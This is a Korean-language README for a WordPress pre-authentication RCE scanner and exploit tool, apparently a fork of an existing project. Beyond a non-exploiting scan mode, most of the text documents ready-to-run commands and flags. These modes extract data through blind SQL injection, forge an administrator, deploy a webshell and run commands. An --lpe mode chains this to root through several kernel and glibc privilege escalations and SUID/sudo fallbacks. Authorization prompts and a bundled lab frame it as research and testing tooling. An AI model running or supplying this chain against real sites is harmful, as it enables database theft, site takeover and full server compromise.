
CVE-2026-63030 / CVE-2026-60137 - WordPress 사전 인증 RCE 스캐너
@bahartanir(katherinepierce) 제작 ZephrFish/wp2shell-scanner의 포크로, 추가 개선 사항이 포함되어 있습니다. Adam Kues(Assetnote)와 Mustafa Can İPEKÇİ(nukedx)의 연구.
WordPress 코어의 wp2shell(CVE-2026-63030 / CVE-2026-60137) 노출에 대한 탐지 및 검증 도구입니다. 모드는 플래그로 선택하며 대상은 위치 인자로 지정합니다. --scan은 익스플로잇 페이로드를 보내지 않고 코어 버전을 지문(fingerprint)으로 식별하고 REST /batch/v1 라우트에 도달 가능한지 확인합니다. --check/--read/--shell/--rce/--root-prereq 모드는 승인된 랩 환경을 위한 검증 PoC입니다.
wp2shell.py는 표준 라이브러리만 사용하는 단일 스크립트로, 외부 의존성이 전혀 없습니다. 모든 실행 시 배너가 먼저 stderr로 출력됩니다(stdout으로 나가지 않으므로 --scan -j JSON 출력에는 영향을 주지 않습니다).
모드 플래그는 정확히 하나가 필요합니다. 대상은 위치 인자입니다(모든 모드에서 URL, --scan의 경우 호스트 목록).
wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
[targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
[--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
[--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
[-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
[--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
[--timeout TIMEOUT]
원본 심층 분석(deep dive): https://blog.zsec.uk/wp2shell-code-trace-deep-dive/
nuclei -t wp2shell-exposure.yaml -u https://target
단일 호스트, 다중 호스트 또는 파일.
python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt
옵션: -f/--file 호스트 파일(줄당 하나), -j/--json JSON 출력, -t/--threads 동시성(기본값 10).
--check/--read/--shell/--rce/--root-prereq 모드는 실제 익스플로잇 페이로드를 전송합니다. 번들로 제공되는 localhost 랩 또는 소유 중이고 명시적으로 테스트 승인을 받은 다른 시스템에서만 실행하세요. --shell과 --rce는 원격 코드 실행을 수행하며 랩/승인된 대상용입니다. 루프백이 아닌 호스트의 --rce에는 --authorized가 필요합니다. --root-prereq는 동일한 토큰 게이트(token-gated) 진단 플러그인을 사용해 shell-to-root 사전 요구 사항을 확인하지만 로컬 권한 상승은 실행하지 않습니다.
--shell은 복구/크랙된 관리자 비밀번호가 필요합니다. --rce는 자격 증명 없는 사전 인증 체인입니다. SQLi를 통해 자체 관리자를 위조하고(oEmbed → changeset → 재진입(re-entrant) parse_request) 웹셸을 배포합니다 — 비밀번호가 필요 없습니다.
--shell, --rce, --root-prereq는 코드 실행 페이로드를 전송하기 전에 대화형 y/N 승인을 요청합니다(비대화형/EOF stdin에서는 중단됩니다). 랩 또는 승인된 대상에 대한 자동화 시 -y/--yes를 전달하여 프롬프트를 건너뛸 수 있습니다.
docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe http://127.0.0.1:8080
PoC의 근거가 된 패치 차이는 poc/diffs/에 저장되어 있으며 연구 노트는 poc/RESEARCH.md에 있습니다. SQLi는 author__not_in 수정만으로 완전히 재구성할 수 있습니다. 자격 증명 없는 --rce 체인(oEmbed → changeset → 재진입 → 관리자 생성)은 번들 랩에 대해 기본 설정(default) 상태의 RCE를 재현합니다. --shell은 복구/크랙된 관리자 자격 증명을 통한 인증된 플러그인 업로드 및 명령 실행의 대체 경로입니다.
--lpe)--lpe는 전체 사전 인증 RCE(SQLi → 관리자 위조 → 웹셸)와 자동화된 root 상승 시도를 연결합니다. 다음을 순서대로 시도하며 첫 번째 성공에서 멈춥니다:
python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized # non-loopback
루프백이 아닌 대상의 --lpe에는 --authorized가 필요합니다. 번들 랩(취약한 GameOverlay 커널이 포함된 Ubuntu 22.04 기본 이미지)에서는 CVE-2023-2640/32629가 컴파일러 없이 성공합니다.
| 플래그 | 기능 |
|---|
--scan | 비파괴적 노출 확인: 버전 지문 + REST /batch/v1 라우트 접근 가능 여부 확인. 익스플로잇 페이로드는 전송하지 않습니다. |
--check | 무해한 차등 프로브로 블라인드 시간 기반 SQLi를 확인합니다. |
--read | 블라인드 SQLi를 통해 데이터를 추출합니다(프리셋 또는 원시 SQL 스칼라 표현식). |
--shell | 크랙/복구된 관리자 비밀번호를 사용하는 인증 RCE 체인입니다. |
--rce | 자격 증명 없는 사전 인증(pre-auth) RCE: SQLi를 통해 자체 관리자를 위조한 뒤 자체 정리(self-cleaning) 웹셸을 배포합니다. |
--root-prereq | 무해한 shell-to-root 사전 요구 사항 확인; 진단만 실행하며 로컬 권한 상승은 절대 실행하지 않습니다. |
--lpe | 전체 체인: 사전 인증 SQLi → 관리자 위조 → 웹셸 → root. CVE-2023-2640/32629(GameOverlay overlayfs), CVE-2023-4911(Looney Tunables glibc), CVE-2026-31431(AF_ALG Copy Fail), CVE-2026-23111(nf_tables UAF 프로브)을 시도한 다음 SUID/sudo/cap 폴백을 시도합니다. |
| 플래그 | 적용 대상 | 기능 |
|---|
-f, --file | --scan | 파일에서 호스트를 읽습니다(줄당 하나, # 주석은 건너뜀). |
-j, --json | --scan | 결과를 stdout에 JSON으로 출력합니다. |
-t, --threads | --scan | 스캔 동시성(기본값 10). |
--prefix | --check/--read | DB 테이블 접두사(기본값 wp_). |
--delay | --check/--read | 타이밍 오라클용 주입 SLEEP 시간(초)(기본값 0.15). |
--repeats | --check/--read | 비트당 N회 프로브의 중앙값; 노이즈가 많은 링크에서는 값을 올립니다(기본값 1). |
--preset | --read | 내장 대상: version, database, db_user, users, siteurl(기본값 users). |
--expr | --read | 추출할 원시 SQL 스칼라 표현식(--preset을 재정의). |
--max-len | --read | 추출할 문자열 최대 길이(기본값 128). |
--user | --shell/--root-prereq | 로그인할 관리자 사용자 이름(기본값 admin). |
--password | --shell/--root-prereq | 관리자 평문 비밀번호(--read에서 해시를 크랙해야 함, 이 모드에 필수). |
--cmd | --shell/--rce | 대상에서 실행할 명령(기본값 id). |
-i, --interactive | --shell/--rce | 단일 명령 대신 대화형 웹 명령 루프. |
--no-cleanup | --shell/--rce | 드롭된 플러그인/웹셸을 제거하지 않고 남겨둡니다(랩 전용). |
-y, --yes | --shell/--rce/--root-prereq | 대화형 승인 프롬프트를 건너뜁니다(자동화용). |
--sleep | --rce | 사전 인증 SQLi 탐지를 위한 주입 SLEEP 시간(초)(기본값 4). |
--rounds | --rce | --rce 탐지를 위한 N회 프로브 중앙값(기본값 3). |
--route | --rce | 배치 라우트 형식: auto, rest-route 또는 wp-json(기본값 auto). |
--proxy | --rce | HTTP 프록시를 통해 요청을 라우팅합니다(예: http://127.0.0.1:8080의 Burp). |
--authorized | --rce | 루프백이 아닌 --rce 대상에 대한 승인을 명시합니다(원격 호스트 필수). |
--timeout | 전체 | 요청당 타임아웃(초)(기본값 15). |
| CVE | 영향 대상 | 기법 | 컴파일러 |
|---|
| CVE-2023-2640 / CVE-2023-32629 | Ubuntu 22.04 / 23.04, GameOverlay 드라이버가 포함된 커널 < 6.3.3 | 사용자 네임스페이스의 권한 없는 overlayfs 마운트가 upper 디렉터리에서 chmod +s를 유지 | 없음(순수 셸) |
| CVE-2023-4911 | glibc 2.34–2.38 (Ubuntu 22.04, Debian 12, Fedora 37–38) | _dl_parse_tunables()의 GLIBC_TUNABLES 스택 오버플로 → SUID exec 시 LD_PRELOAD 주입 | gcc 필요 |
| CVE-2026-31431 | algif_aead + authencesn(hmac(sha256),cbc(aes))가 있는 Linux 커널 | AF_ALG AEAD in-place 최적화 + splice()가 SUID 바이너리 페이지 캐시에 4바이트 기록; 사전 요구 사항 프로브 — AliHzSec/CVE-2026-31431 링크 | gcc 필요 |
| CVE-2026-23111 | Ubuntu 22.04 / 24.04, Debian Bookworm / Trixie | nft_map_catchall_activate()의 nf_tables 역검사(inverted check) UAF → chain->use 언더플로 → 해제된 체인; 사전 요구 사항 프로브 — Baba01hacker666/CVE-2026-23111 링크 | gcc 필요 |
| 폴백 | 모든 환경 | SUID GTFOBins + sudo NOPASSWD 악용 | 없음 |